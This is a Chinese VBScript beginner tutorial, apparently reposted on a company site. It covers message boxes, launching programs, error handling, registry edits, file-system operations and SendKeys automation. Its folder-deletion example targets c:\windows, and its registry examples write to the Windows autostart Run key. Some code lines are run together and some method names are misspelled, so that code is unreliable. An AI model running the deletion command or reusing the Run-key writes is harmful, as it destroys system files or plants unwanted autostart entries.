整合營銷服務(wù)商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          vbs代碼教程講解:及好玩的vbs代碼腳本

          vbs代碼教程講解:及好玩的vbs代碼腳本

          —為什么要使用Vbs?

          在Windows中,學習計算機操作也許很簡單,但是很多計算機工作是重復性勞動,例如你每周也許需要對一些計算機文件進行復制、粘貼、改名、刪除,也許你每天啟動計算機第一件事情就是打開WORD,切換到你喜愛的輸入法進行文本編輯,同時還要播放優(yōu)美的音樂給工作創(chuàng)造一個舒心的環(huán)境,當然也有可能你經(jīng)常需要對文本中的某些數(shù)據(jù)進行整理,把各式各樣的數(shù)據(jù)按照某種規(guī)則排列起來……。這些事情重復、瑣碎,使人容易疲勞。

          第三方軟件也許可以強化計算機的某些功能,但是解決這些重復勞動往往事倍功半,我也嘗試過使用計算機語言編寫程序來解決這些問題,但是隨之而來的命令、語法、算法、系統(tǒng)框架和類庫常常讓我覺得這樣是否有必要,難道就是因為豬毛比較難拔,所以我就要去學習機械,為自己設(shè)計一個拔豬毛機(?)嗎?

          Vbs是一種Windows腳本,它的全稱是:Microsoft Visual Basic Script Editon.(微軟公司可視化BASIC腳本版),VBS是Visual Basic的的一個抽象子集,是系統(tǒng)內(nèi)置的,用它編寫的腳本代碼不能編譯成二進制文件,直接由Windows系統(tǒng)執(zhí)行(實際是一個叫做宿主host的解釋源代碼并執(zhí)行),高效、易學,但是大部分高級語言能干的事情,它基本上都具備,它可以使各種各樣的任務(wù)自動化,可以使你從重復瑣碎的工作中解脫出來,極大的提高工作效率。

          我個人認為Vbs腳本其實就是一種計算機編程語言,但是由于缺少計算機程序設(shè)計語言中的部分要素,對于事件的描述能力較弱,所以稱為腳本,它最方便的地方就是提供了對COM對象的簡便支持。那么什么是COM對象呢?

          我這樣理解,COM對象就是一些具有特定函數(shù)功能項程序模塊,他們一般以ocx或者dll作為擴展名,你只要找到包含有你需要的功能的模塊文件,并在腳本中規(guī)范的引用,就可以實現(xiàn)特定的功能,也就是說Vbs腳本就是調(diào)用現(xiàn)成的"控件"作為對象,用對象的屬性和方法實現(xiàn)目的,完全免去了編寫代碼、設(shè)計算法等等麻煩。說白了,我不是覺得拔豬毛麻煩么?我發(fā)覺xx機(比如真空離心器)有一個功能可以實現(xiàn)脫毛,ok,我把它拿來給豬脫毛。什么?大材小用?太浪費資源了?天哪,那是計算機芯片的事情,死道友不死貧道,反正我的事情是方便快速的解決了,這就行了。

          最方便的是它甚至不需要專門的開發(fā)環(huán)境,在你的計算機中,只要有notepad,就可以編寫Vbs腳本了,并且可以直接執(zhí)行。

          Vbs腳本編程簡明教程之二

          如何開始第一個Vbs腳本?

          就像多數(shù)計算機教程一樣 ,我們從"Hello World!"程序開始我們的練習。什么?不知道是什么意思?就是說大部分的計算機程序設(shè)計教程開篇入門都是編寫一個小程序,執(zhí)行這個程序的結(jié)果就是在計算機的屏幕上或者dos窗口中顯示一行文字:Hello World!好了,我們開始吧。

          打開你的"記事本"程序,在編輯窗口填寫:

          msgbox "Hello World!"
          

          然后用鼠標單擊"文件"菜單,單擊"保存",把"保存在"一欄設(shè)為桌面,在"文件名"一欄中填寫kk.vbs,單擊"保存"就可以了。然后最小化"記事本"窗口,在桌面上尋找你剛剛保存的kk.vbs,然后雙擊。看到彈出的對話框了沒有,單擊"確定",對話框消失了。難看了點,不過確實是你編寫的第一個腳本程序。

          說明之一:上面的操作中,保存位置放在桌面,僅僅是為了執(zhí)行方便,你保存到其他的地方完全沒有問題,只要你知道你保存在什么地方就可以了,什么?是廢話,自己保存的當然知道保存在那里了。不,自己保存的文件自己找不到的人我見的多了去了。文件名你可以隨意填寫,不一定非要寫kk,只要符合Windows的文件命名規(guī)則就可以了,但是擴展名必須是vbs,什么?不知道什么是擴展名?就是文件名中"."后的那部分,簡單說,就是vbs腳本文件命名時必須是:xxx.vbs,其中xxx你隨意。

          說明之二:在記事本編輯窗口中寫的這行是什么意思?

          Msgbox是VBS內(nèi)建的函數(shù),每一個函數(shù)都可以完成一定的功能,你只需要按照語法要求,在函數(shù)的相應(yīng)部分填寫相應(yīng)的內(nèi)容就可以了,這部分內(nèi)容我們稱為參數(shù),當然函數(shù)執(zhí)行的結(jié)果我們稱為返回值,一個函數(shù)可以有返回值也可以沒有,可以有參數(shù)也可以沒有。你不用了解函數(shù)是怎么運作的,只要了解這個函數(shù)能干什么就行了。

          Msgbox語法:msgbox "對話框內(nèi)容", , "對話框的標題"

          你不妨用記事本打開剛才的文件在編輯窗口中輸入:

          msgbox "Hello World!" , , "系統(tǒng)提示"

          執(zhí)行一下,看看效果和位置。

          說明之三:如果執(zhí)行失敗,看看你的標點符號,所有的標點符號必須是在英文狀態(tài)下輸入的。當然,這個腳本實在是太簡單了,甚至連最簡單的交互都沒有,所以你可以把腳本這樣修改一下:

          Dim name
          name=Inputbox("請輸入你的名字:","名稱") 
          Msgbox name, , "您的名字是" 
          
          

          保存執(zhí)行一下,看到彈出的對話框了么?填入你的名字,點確定,看到結(jié)果了嗎?

          說明之一:第一句是定義變量,dim是定義變量的語句

          其格式為:dim 變量1,變量2……,

          Vbs只有一種變量類型,所以不用聲明變量類型。系統(tǒng)會自動分辨變量類型。

          說明之二:inputbox是VBS內(nèi)建的函數(shù),可以接受輸入的內(nèi)容,其語法格式為:

          Inputbox("對話框內(nèi)容","對話框標題")

          第二句的意思是接受用戶的輸入,并把輸入結(jié)果傳遞給變量name。

          好了,到此腳本基本的輸入輸出函數(shù)都有了,已經(jīng)可以完成一些比較簡單的功能了,你可以編寫一個簡單的腳本,然后拷貝的"程序"—>"啟動"中,然后重新啟動計算機看看結(jié)果

          Vbs腳本編程簡明教程之三

          Vbs的基本語法(牢記)

          VBScript基礎(chǔ)知識

          一、變量

          1、所有單引號后面的內(nèi)容都被解釋為注釋。

          2、在VBScript中,變量的命名規(guī)則遵循標準的命名規(guī)則,需要注意的是:在VBScript中對變量、方法、函數(shù)和對象的引用是不區(qū)分大小寫的。在申明變量時,要顯式地申明一個變量,需要使用關(guān)鍵字DIm來告訴VBScript你要創(chuàng)建一個變量,并將變量名稱跟在其后。申明多個同類型變量,可以用逗號分隔。注意:VBScript中不允許在申明變量的時候同時給變量賦值。但是允許在一行代碼內(nèi)同時對兩個變量進行賦值,中間用冒號分隔。

          3、你可以使用Option Explicit來告訴宿主變量必須先聲明后使用。

          4、VBScript在定義時只有一種變量類型,在實際使用中需要使用類型轉(zhuǎn)換函數(shù)來將變量轉(zhuǎn)換成相應(yīng)的變量類型。

          Cbool函數(shù)將變量轉(zhuǎn)換成布爾值;

          Cbyte函數(shù)將變量轉(zhuǎn)換為0到255之間的整數(shù)。

          Ccur函數(shù)、Cdbl函數(shù)和Csng函數(shù)將變量轉(zhuǎn)換為浮點數(shù)值,前者只精確到小數(shù)點后四位,后兩者要更加精確,數(shù)值的范圍也要大的多。

          Cdate函數(shù)將變量轉(zhuǎn)換為日期值。

          Cint函數(shù)和Clng函數(shù)將變量轉(zhuǎn)換為整數(shù),后者的范圍比前者要大的多。

          Cstr函數(shù)將變量轉(zhuǎn)換為字符串。

          二、數(shù)組

          數(shù)組的定義與變量非常類似,只需要在變量后描述這個數(shù)組的個數(shù)和維數(shù)。需要注意的是:數(shù)組的下標總是從0開始,而以數(shù)組定義中數(shù)值減一結(jié)束。也就是說你以要定義一個有十個數(shù)據(jù)的數(shù)組,將這樣書寫代碼:dImarray(9),同樣,當你要訪問第五個元素時,實際的代碼是array(4)。當然,你可以通過不指定數(shù)組的個數(shù)和維數(shù)來申明動態(tài)數(shù)組。等到數(shù)組的個數(shù)和維數(shù)固定后,使用關(guān)鍵字redim來改變數(shù)組。注意,在改變數(shù)組的大小時,數(shù)組的數(shù)據(jù)會被破壞,使用關(guān)鍵字preserve來保護數(shù)據(jù)。例如:

          RedIm空格preserve空格array括號個數(shù)逗號維數(shù)括號

          三、操作符

          在VBScript運算符中,加減乘除都是我們常用的符號,乘方使用的是 ^ ,取模使用的Mod。

          在比較操作符中,等于、小于、大于、小于等于、大于等于都與我們常用的符號是一致的,而不等于是小于和大于連用。

          邏輯運算符為:和操作—>AND 非操作—>NOT 或操作—>OR;

          你可以使用操作符 + 和操作符 & 來連接字符串,一般使用&操作符;

          另外還有一個比較特殊的操作符Is用來比較對象,例如按鈕對象,如果對象是同一類型,結(jié)果就是真,如果對象不是同一類型,結(jié)果就是假。

          四、條件語句主要有if……then語句和select case語句兩種形式

          在if……then語句中,其基本形式為:

          If 條件 then

          處理條件的語句;

          ……

          Endif

          基本形式只能對單個條件進行驗證,如果有兩個條件,則需要在基本形式中添加單行語句else,如果還有更多的條件需要驗證,則需要添加語句

          Elseif 條件 then

          處理條件語句

          在select case語句中,其基本形式為:

          Select case 變量

          Case 條件值

          處理條件語句

          并對上兩句進行重復

          最后一句應(yīng)為

          case else

          處理語句

          當然不要忘記將條件結(jié)束語句End select放在最后一行

          注意:在執(zhí)行字符串比較時,需要特別注意大小寫,一般情況下,我們在比較前,使用lcase函數(shù)將字符串轉(zhuǎn)換成小寫,使用ucase函數(shù)將字符串轉(zhuǎn)換成大寫大寫。

          五、循環(huán)控制語句

          循環(huán)控制語句有for……next循環(huán)、for……each循環(huán)、do……while循環(huán)、do……until循環(huán)、while循環(huán)五種形式。

          在使用循環(huán)控制語句前,首先要對循環(huán)條件進行判斷,如果循環(huán)次數(shù)是有固定次數(shù)的,那么使用For……next循環(huán),其結(jié)構(gòu)為:

          For 計數(shù)器變量=開始計數(shù)值 to 最后計數(shù)值

          執(zhí)行循環(huán)體

          Next

          如果是需要對數(shù)組或?qū)ο蠹现械拿恳粋€元素進行判斷,則需要使用for……each循環(huán),其結(jié)構(gòu)為:

          For each 循環(huán)計數(shù)變量 in 要查看的對象或數(shù)組

          執(zhí)行處理語句

          Next

          注意:在上述兩種循環(huán)中隨時可以使用exit for來退出循環(huán)

          如果你希望在條件滿足時執(zhí)行一段代碼則使用do……while語句,結(jié)構(gòu)為:

          Do while 條件

          執(zhí)行循環(huán)體

          Loop

          如果你希望在條件不滿足時執(zhí)行代碼,則使用do……until語句,結(jié)構(gòu)為:

          Do until 條件

          執(zhí)行循環(huán)體

          Loop

          當然,在這兩種循環(huán)語句中,你可以使用exit do來退出循環(huán)

          最后一種循環(huán)語句是條件滿足時一直執(zhí)行循環(huán),

          While 條件

          執(zhí)行循環(huán)體

          Wend

          六、使用過程

          常用的過程有兩種,一種為函數(shù),給調(diào)用者返回值,一種為子程序,無返回值,還有一種叫事件的特殊子程序,用的比較少。

          函數(shù)的基本定義方法為:

          Function 函數(shù)名稱(參數(shù)列表)

          函數(shù)代碼

          函數(shù)名稱=某值 ‘用來返回值

          end function

          子程序一些都類似,不過沒有返回值

          注意:盡管在定義子程序的時候,參數(shù)列表要加括號,但在調(diào)用子程序的時候,參數(shù)列表不加括號,括號只在函數(shù)中使用。另外,子程序不能在表達式中使用。

          而函數(shù)只能出現(xiàn)在賦值語句的右邊,或者表達式中,函數(shù)不能直接使用,如果必須直接使用函數(shù),則必須使用call語句調(diào)用,并取消返回值。

          Vbs腳本編程簡明教程之四

          如何利用Vbs運行外部程序?

          Vbs只提供了編程的一個基本框架,用戶可以使用Vbs來定義變量、過程和函數(shù),vbs也提供了一些內(nèi)部函數(shù)和對象,但是Vbs沒有提供任何命令來訪問Windows系統(tǒng)內(nèi)部的部件,但是值得慶幸的是,Vbs雖然不能自己完成這些任務(wù),但是它提供了一條極為方便、功能也相當強的命令——CreateObject,這條命令可以訪問windows系統(tǒng)內(nèi)安裝的所有com對象,并且可以調(diào)用這些部件中存放的命令。

          于是問題解決了,比如說,我手頭有1000個小文本,我首先要對每一個文本的語法進行查錯和修改,然后按照預先定義好的規(guī)則對這些文本進行排序,最后將這些文本合并成為一個文件。正常情況下,我們需要把打開第一個小文本,然后把它復制到WORD中,然后利用里面的除錯功能進行除錯和修改,然后再導入到EXCEL中進行排序,將這個過程重復1000遍,然后再將所有得到的文本復制到一個大文本中。實在是太枯燥、工作量太大了。有了Vbs和CreateObject,問題得到解決,我只需要找到相應(yīng)的模塊,調(diào)用相應(yīng)的功能就可以了,作為腳本,把一個枯燥的過程重復1000次,本就是它的拿手好戲。

          好了,我們走入正題,從最簡單的——只啟動一個程序開始。

          WSH也就是用來解析Vbs的宿主,本身包含了幾個個常用對象:

          1、Scripting.FileSystemObject —> 提供一整套文件系統(tǒng)操作函數(shù)

          2、Scripting.Dictionary —> 用來返回存放鍵值對的字典對象

          3、Wscript.Shell —> 提供一套讀取系統(tǒng)信息的函數(shù),如讀寫注冊表、查找指定文件的路徑、讀取DOS環(huán)境變量,讀取鏈接中的設(shè)置

          4、Wscript.NetWork —> 提供網(wǎng)絡(luò)連接和遠程打印機管理的函數(shù)。(其中,所有Scripting對象都存放在SCRRUN.DLL文件中,所有的Wscript對象都存放在WSHOM.ocx文件中。)

          現(xiàn)在我們需要的是第三個對象,好了,讓我們先連接一下對象看看,在記事本的編輯窗口中輸入:

          Option ExplicitDim objShellSet objShell=CreateObject("Wscript.Shell")objShell.Run "notepad"

          同樣,保存執(zhí)行。那么看到了一個什么樣的結(jié)果呢?在桌面上又打開了一個記事本。

          說明之一:Set是Vbs指令,凡是將一對象引用賦給變量,就需要使用set關(guān)鍵字。那么什么是對象引用呢?凡是字符串、數(shù)值、布爾值之外的變量都是對象引用。Objshell是變量名,可以隨意修改。

          說明之二:凡是正確引用的對象,其本身內(nèi)置有函數(shù)和變量,其引用方法為在變量后加". ",后緊跟其實現(xiàn)功能的函數(shù)就可以了。Objshell.run 的意思就是調(diào)用Wscript.shell中的運行外部程序的函數(shù)——run,notepad是記事本程序的文件名。當然你也可以改成"calc",這是計算器的文件名,winword是word的文件名,等等吧,所有可執(zhí)行文件的文件名都可以。但是需要注意的是,如果你要執(zhí)行的可執(zhí)行文件存放的地方不是程序安裝的常用路徑,一般情況下,需要提供合法的路徑名,但是run在運行解析時,遇到空格會停止,解決的方法是使用雙引號,例如:在我的機器上運行qq,代碼為:

          objshell.run """C:\Program Files\QQ2006\QQ.exe""" ‘注:三個引號

          好, 我們再進一步,啟動兩個程序會如何呢?

          輸入如下代碼:

          Set objShell=CreateObject("Wscript.Shell")
          objShell.Run "notepad"
          objShell.Run "calc"
          
          

          執(zhí)行會如何呢?兩個程序基本上同時啟動了。如果我們需要先啟動notepad再啟動calc將如何呢?很簡單在需要順序執(zhí)行的代碼后加 , , True參數(shù)就可以了。

          好了輸入代碼:

          Set objShell=CreateObject("Wscript.Shell")
          objShell.Run "notepad" ,,true
          objShell.Run "calc"
          
          

          看看執(zhí)行的結(jié)果怎么樣吧!

          總結(jié):run函數(shù)有三個參數(shù),第一個參數(shù)是你要執(zhí)行的程序的路徑,第二個程序是窗口的形式,0是在后臺運行;1表示正常運行;2表示激活程序并且顯示為最小化;3表示激活程序并且顯示為最大化;一共有10個這樣的參數(shù)我只列出了4個最常用的。 第三個參數(shù)是表示這個腳本是等待還是繼續(xù)執(zhí)行,如果設(shè)為了true,腳本就會等待調(diào)用的程序退出后再向后執(zhí)行。

          其實,run做為函數(shù),前面還有一個接受返回值的變量,一般來說如果返回為0,表示成功執(zhí)行,如果不為0,則這個返回值就是錯誤代碼,可以通過這個代碼找出相應(yīng)的錯誤。

          Vbs腳本編程簡明教程之五

          錯誤處理

          引發(fā)錯誤的原因有很多,例如用戶輸入了錯誤類型的值,或者腳本找不到必需的文件、目錄或者驅(qū)動器,我們可以使用循環(huán)技術(shù)來處理錯誤,但是VBS本身也提供了一些基本技術(shù)來進行錯誤的檢測和處理。

          1、最常見的錯誤是運行時錯誤,也就是說錯誤在腳本正在運行的時候發(fā)生,是腳本試圖進行非法操作的結(jié)果。例如零被作為除數(shù)。在vbs中,任何運行時錯誤都是致命的,此時,腳本將停止運行,并在屏幕上顯示一個錯誤消息。你可以在腳本的開頭添加

          On Error Resume Next

          這行語句告訴vbs在運行時跳過發(fā)生錯誤的語句,緊接著執(zhí)行跟在它后面的語句。

          發(fā)生錯誤時,該語句將會把相關(guān)的錯誤號、錯誤描述和相關(guān)源代碼壓入錯誤堆棧。

          2、雖然On Error Resume Next語句可以防止vbs腳本在發(fā)生錯誤時停止運行,但是它并不能真正處理錯誤,要處理錯誤,需要在腳本中增加一些語句,用來檢查錯誤條件并在錯誤發(fā)生時處理它。

          vbscript提供了一個err對象,他有兩個方法clear,raise,5個屬性:description,helpcontext,helpfile,number,source

          err對象不用引用實例,可以直接使用,例如:

          on error resume next 
          a=11 
          b=0 
          c=a/b 
          if err.number<>0 then 
          wscript.echo err.number & err.description & err.source 
          end if 
          
          

          Vbs腳本編程簡明教程之六

          修改注冊表

          Vbs中修改注冊表的語句主要有:

          1、讀注冊表的關(guān)鍵詞和值:

          可以通過把關(guān)鍵詞的完整路徑傳遞給wshshell對象的regread方法。例如:

          set ws=wscript.createobject("wscript.shell") 
          v=ws.regread("HKLM\Software\7-Zip\Path ") 
          wscript.echo v 
          
          

          2、寫注冊表

          使用wshshell對象的regwrite方法。例子:

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" 
          set ws=wscript.createobject("wscript.shell") 
          t=ws.regwrite(path & "jj","hello") 
          
          

          這樣就把

          HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj這個鍵值改成了hello.不過要注意:這個鍵值一定要預先存在。

          如果要創(chuàng)建一個新的關(guān)鍵詞,同樣也是用這個方法。

          path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\" 
          set ws=wscript.createobject("wscript.shell") 
          val=ws.regwrite(path,"nenboy") 
          val=ws.regread(path) 
          wscript.echo val 
          
          

          3、刪除關(guān)鍵字和值

          使用regdelete方法,把完整的路徑傳遞給regdelete就可以了

          例如

          val=ws.regdel(path)

          注意,如果要刪除關(guān)鍵詞的值的話 一定要在路徑最后加上"\",如果不加斜線,就會刪除整個關(guān)鍵詞。

          Vbs腳本編程簡明教程之七

          FSO的常見對象和方法

          文件系統(tǒng)是所有操作系統(tǒng)最重要的部分之一,腳本經(jīng)常會需要對文件及文件夾進行訪問和管理,在Vbs中對桌面和文件系統(tǒng)進行訪問的頂級對象是FileSystemObject(FSO),這個對象特別復雜,是vbs進行文件操作的核心。此節(jié)內(nèi)容應(yīng)了如指掌。

          FSO包含的常見對象有:

          Drive對象:包含儲存設(shè)備的信息,包括硬盤、光驅(qū)、ram盤、網(wǎng)絡(luò)驅(qū)動器Drives集合:提供一個物理和邏輯驅(qū)動器的列表 File 對象:檢查和處理文件 Files 集合:提供一個文件夾中的文件列表 Folder對象:檢查和處理文件夾 Folders集合:提供文件夾中子文件夾的列表 Textstream對象:讀寫文本文件

          FSO的常見方法有:

          BulidPath:把文件路徑信息添加到現(xiàn)有的文件路徑上CopyFile:復制文件CopyFolder:復制文件夾CreateFolder:創(chuàng)建文件夾CreateTextFile:創(chuàng)建文本并返回一個TextStream對象DeleteFile:刪除文件DeleteFolder:刪除文件夾及其中所有內(nèi)容DriveExits:確定驅(qū)動器是否存在FileExits:確定一個文件是否存在FolderExists:確定某文件夾是否存在GetAbsolutePathName:返回一個文件夾或文件的絕對路徑 GetBaseName:返回一個文件或文件夾的基本路徑 GetDrive:返回一個dreve對象 GetDriveName:返回一個驅(qū)動器的名字 GetExtensionName:返回擴展名 GetFile:返回一個file對象 GetFileName:返回文件夾中文件名稱 GetFolder:返回一個文件夾對象GetParentFolderName:返回一個文件夾的父文件夾 GetSpecialFolder:返回指向一個特殊文件夾的對象指針 GetTempName:返回一個可以被createtextfile使用的隨機產(chǎn)生的文件或文件夾的名稱 MoveFile:移動文件MoveFolder:移動文件夾OpenTextFile:打開一個存在的文件并返回一個TextStream對象Vbs腳本編程簡明教程之八

          FSO中文件夾的基本操作

          1、使用fso

          由于fso不是wsh的一部分,所以我們需要建立他的模型

          例如set fs=wscript.createobject("scripting.filesystemobject")

          這樣就建立了fso的模型。如果要釋放的話也很簡單,set fs=nothing

          2、使用文件夾

          在創(chuàng)建前,我們一般需要檢查該文件夾是否存在例如:

          dim fs,s //定義fs、s兩個變量
          set fs=wscript.createobject("scripting.filesystemobject") //fs為FSO實例
          if (fs.folderexists("c:\temp")) then //判斷c:\temp文件夾是否存在
          s="is available" 
          else 
          s="not exist" 
          set foldr=fs.createfolder("c:\temp") //不存在則建立
          end if 
          
          

          刪除:set fs=wscript.createobject("scripting.filesystemobject") fs.deletefolder("c:\windows") 拷貝: set fs=wscript.createobject("scripting.filesystemobject") fs.copyfolder "c:\data" "d:\data" 注意:如果c:\data 和d:\data都存在,腳本會出錯,復制也就會停止,如果要強制覆蓋,使用fs.copyfolder "c:\data" "d:\data",true 移動:set fs=wscript.createobject("scripting.filesystemobject") fs.movefolder "c:\data" "d:\data" 我們可以使用通配符,來方便操作:

          例如, fs.movefolder :c:\data\te*" , "d:\working"

          注意:在目的路徑最后沒有使用"\" 也就是說我沒有這樣寫:

          fs.movefolder c:\data\te*" , "d:\working\"

          這樣寫的話,如果d:\working 目錄不存在,windows就不會為我們自動創(chuàng)建這個目錄。

          注意:上面我們所舉的例子都是在利用fso提供的方法,如果使用folder對象也完全是可以的:

          set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfolder("c:\data") f.delete //刪除文件夾c:\data。如果有子目錄,也會被刪除 f.copy "d:\working",true //拷貝到d:\working f.move "d:\temp" //移動到d:\temp

          3、特殊文件夾

          一般指的就是系統(tǒng)文件夾:\windows\system32, 臨時文件夾,windows文件夾,在前幾篇的時候,我們提過一下:例如

          set fs=wscript.createobject("scripting.filesystemobject") 
          set wshshell=wscript.createobject("wscript.shell") 
          osdir=wshshell.expandenvironmentstrings("%systemroot%") 
          set f=fs.getfolder(osdir) 
          wscript.echo f 
          
          

          當然,還有簡單的方法 那就是使用getspecialfolder()

          這個方法使用3種值:

          0 表示windows文件夾,相關(guān)常量是windowsfolder

          1 系統(tǒng)文件夾,相關(guān)常量是systemfolder

          2 臨時目錄,相關(guān)常量temporaryfolder

          例如:

          set fs=wscript.createobject("scripting.filesystemobject") set wfolder=fs.getspecialfolder(0) ‘返回windows目錄 set wfolder=fs.getspecialfolder(1) ‘返回system32\ set wfolder=fs.getspecialfolder(2)'返回臨時目錄

          Vbs腳本編程簡明教程之九——1

          妙用SendKeys簡化重復操作1

          每次開機的時候,你想自動登陸你的QQ或者博客嗎?巧妙使用VBS中的SendKeys命令(這個命令的作用就是模擬鍵盤操作,將一個或多個按鍵指令發(fā)送到指定Windows窗口來控制應(yīng)用程序運行),可以極大的方便我們的常用操作。其使用格式為:

          Object.SendKeys string其中:

          Object:為WshShell對象,即腳本的第一行為:

          Set WshShell=WScript.CreateObject("WScript.Shell")

          將Object替換為WshShell

          "string":表示要發(fā)送的按鍵指令字符串,需要放在英文雙引號中。它包含如下內(nèi)容:

          1.基本鍵:一般來說,要發(fā)送的按鍵指令都可以直接用該按鍵字符本身來表示,例如要發(fā)送字母"x",使用"WshShell.SendKeys "x""即可。當然,也可直接發(fā)送多個按鍵指令,只需要將按鍵字符按順序排列在一起即可,例如,要發(fā)送按鍵"cfan",可以使用

          "WshShell.SendKeys "cfan""。

          2.特殊功能鍵:對于需要與Shift、Ctrl、Alt三個控制鍵組合的按鍵,SendKeys使用特殊字符來表示:Shift —— +;Ctrl —— ^;Alt —— %

          如要發(fā)送的組合按鍵是同時按下Ctrl+E,需要用"WshShell.SendKeys "^e""表示,如果要發(fā)送的組合按鍵是按住Ctrl鍵的同時按下E與C兩個鍵,這時應(yīng)使用小括號把字母鍵括起來,書寫格式為"WshShell.SendKeys "^(ec)"",這里要注意它與"WshShell.SendKeys "^ec""的區(qū)別,后者表示組合按鍵是同時按住Ctrl和E鍵,然后松開Ctrl鍵,單獨按下"C"字母鍵。

          由于"+"、"^"這些字符用來表示特殊的控制按鍵了,如何表示這些按鍵呢?只要用大括號括住這些字符即可。例如,要發(fā)送加號"+",可使用"WshShell.SendKeys "{+}""。另外對于一些不會生成字符的控制功能按鍵,也同樣需要使用大括號括起來按鍵的名稱,例如要發(fā)送回車鍵,需要用"WshShell.SendKeys "{ENTER}""表示,發(fā)送向下的方向鍵用

          "WshShell.SendKeys "{DOWN}""表示。

          如果需要發(fā)送多個重復的單字母按鍵,不必重復輸入該字母,SendKeys允許使用簡化格式進行描述,使用格式為"{按鍵 數(shù)字}"。例如要發(fā)送10個字母"x",則輸入"WshShell.SendKeys "{x 10}""即可。

          例一:WshShell.SendKeys "^{ESC}u"

          代碼的含義為:按下Ctrl+Esc組合鍵(相當于按Win鍵)打開"開始"菜單,接著按U鍵打開"關(guān)機"菜單。

          例二:讓VBS腳本自動在記事本中輸入一行文字"hello, welcome to cfan"。

          Dim WshShellSet WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 2000 //本行的含義為是腳本暫停2秒,給notepad一個打開的時間,有時時間太短可能導致后面的字符無法進入編輯區(qū)WshShell.AppActivate "無標題 - 記事本"//AppActivate為尋找可執(zhí)行程序的標題框,"無標題-記事本"內(nèi)容你的自己打開看一下WshShell.SendKeys "hello, welcome to cfan"作業(yè)1:讓腳本自動輸入下面兩段小短句This is the most wonderful day of my lifebecause I'm here with you now

          作業(yè)2:讓腳本在輸入短句后自動關(guān)閉記事本,并保存文件名為"test",注意關(guān)閉記事本可以直接使用組合按鍵Alt+F4來實現(xiàn)。

          Vbs腳本編程簡明教程之九——2

          妙用SendKeys簡化重復操作2

          例三:制作能自動定時存盤的記事本

          我們最常用的記事本沒有Word、WPS那樣的自動定時存盤功能,其實利用VBS腳本再加上SendKeys命令,就能彌補這個遺憾。打開記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼分為四個部分):

          '第一部分:定義變量和對象Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=300000Set WshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("請輸入你要創(chuàng)建的文件名(不能用中文和純數(shù)字):")'第二部分:打開并激活記事本W(wǎng)shShell.Run "notepad"WScript.Sleep 200WshShell.AppActivate "無標題 - 記事本"'第三部分:用輸入的文件名存盤WshShell.SendKeys "^s"WScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys "%s"WScript.Sleep AutoSaveTime'第四部分:自動定時存盤While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys "^s"WScript.Sleep AutoSaveTimeWendWScript.Quit

          將其保存為記事本.vbs,以后要使用記事本時,都通過雙擊這個腳本文件來打開。

          程序說明:這個腳本的基本思路是定時向記事本發(fā)送Ctrl+S這個存盤組合鍵。

          第一部分:定義了腳本中需要用到的變量和對象。"AutoSaveTime"變量用來設(shè)置自動存盤間隔,單位為毫秒,這里設(shè)置為5分鐘。"TXTFileName"變量通過輸入框取得你要創(chuàng)建的文本文件名稱。

          第二部分:運行記事本,對于Windows本身提供的程序,比如計算器等,可直接在"WshShell.Run"后輸入程序名稱,如"calc",對于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3格式輸入,比如""D:\Progra~1\Tencent\QQ.exe""。

          第三部分:這里用SendKeys命令執(zhí)行了這樣的操作流程(請注意每個操作之間延時命令的使用):在記事本中按Ctrl+S組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S組合鍵進行保存(默認保存在"我的文檔"目錄)。

          第四部分:定時存盤的關(guān)鍵,通過"While……Wend"這個當條件為"真"時循環(huán)命令,實現(xiàn)自動存盤代碼"WshShell.SendKeys "^s""和定時代碼"WScript.Sleep AutoSaveTime"的重復執(zhí)行。因為不能讓這個定時存盤循環(huán)一直執(zhí)行,退出記事本后,必須自動退出腳本并結(jié)束循環(huán),所以設(shè)計了一個循環(huán)判斷條件"WshShell.AppActivate TXTFileName=True",當記事本運行中時,可以激活記事本窗口,這個條件運行結(jié)果為"True",定時存盤循環(huán)一直執(zhí)行,退出記事本后,腳本無法激活記事本窗口,就會跳出循環(huán),執(zhí)行"Wend"后面的"WScript.Quit"退出腳本。

          例四:快速登陸QQ軟件。假設(shè)QQ號碼是:10001,密碼是:123456,隱身登陸:

          set ws=wscript.createobject("wscript.shell") 
           ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
           wscript.Sleep 2000
           ws.AppActivate "QQ用戶登錄" 
           ws.SendKeys "7015247"
           wscript.Sleep 200
           ws.SendKeys "{TAB}"
           ws.SendKeys "*********"
           wscript.Sleep 200
          ws.SendKeys "{ENTER}"
          
          

          例五:關(guān)機菜單立刻顯身

          打開記事本,輸入以下命令,并將其保存為1.vbs:

          set WshShell=CreateObject("WScript.Shell")WshShell.SendKeys "^{ESC}u"

          雙擊運行它,你會發(fā)現(xiàn)關(guān)機菜單立刻出現(xiàn)了。

          將"WshShell.SendKeys "^{ESC}u""改為"WshShell.SendKeys "^+{ESC}"",運行一下看看是否打開了任務(wù)管理器

          Vbs腳本編程簡明教程之九——3

          妙用SendKeys自動上網(wǎng)并登陸博客3

          將下面的腳本復制到一個文本文件中,并將其文件名命名為:自動登陸.vbs,然后將撥號軟件及本腳本一起復制到程序——啟動項中,就可以實現(xiàn)自動撥號上網(wǎng),并登陸到博客上。

          代碼如下:

          Set wshshell=CreateObject("wscript.shell")
          wshshell.AppActivate "連接 MAE-301U 撥號連接"
          wscript.Sleep 20000
          wshshell.SendKeys "{enter}"
          wshshell.Run "iexplore"
          WScript.Sleep 2000
          wshshell.AppActivate "hao123網(wǎng)址之家---實用網(wǎng)址,搜索大全,盡在http://www.hao123.com/ - Microsoft Internet Explorer" '引號中的內(nèi)容修改為你的瀏覽器打開后標題欄中的內(nèi)容
          wshshell.SendKeys "%d"
          wshshell.SendKeys "http://passport.baidu.com/?login"
          wshshell.SendKeys "{enter}"
